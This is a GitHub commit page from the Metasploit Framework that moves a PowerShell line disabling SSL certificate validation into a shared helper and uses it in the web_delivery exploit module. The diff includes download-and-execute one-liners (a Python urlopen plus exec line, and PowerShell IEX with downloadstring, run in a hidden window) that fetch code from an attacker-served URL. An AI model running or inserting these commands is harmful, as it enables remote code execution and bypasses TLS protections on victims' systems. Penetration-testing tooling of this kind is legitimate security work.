Skip to content

Commit b41e259

Browse files
committed
Move it to a common method
1 parent 36404eb commit b41e259

File tree

2 files changed

+13
-1
lines changed

2 files changed

+13
-1
lines changed

lib/rex/exploitation/powershell/psh_methods.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,15 @@ def self.who_locked_file(filename)
6464
def self.get_last_login(user)
6565
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
6666
end
67+
68+
#
69+
# Disable SSL Certificate verification
70+
#
71+
# @return [String] Powershell code to disable SSL verification
72+
# checks.
73+
def self.ignore_ssl_certificate
74+
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
75+
end
6776
end
6877
end
6978
end

modules/exploits/multi/script/web_delivery.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,10 @@ def primer
8888
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
9090
when 'PSH'
91-
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
91+
if ssl
92+
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
93+
end
94+
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
9295
print_line generate_psh_command_line(
9396
noprofile: true,
9497
windowstyle: 'hidden',

0 commit comments

Comments
 (0)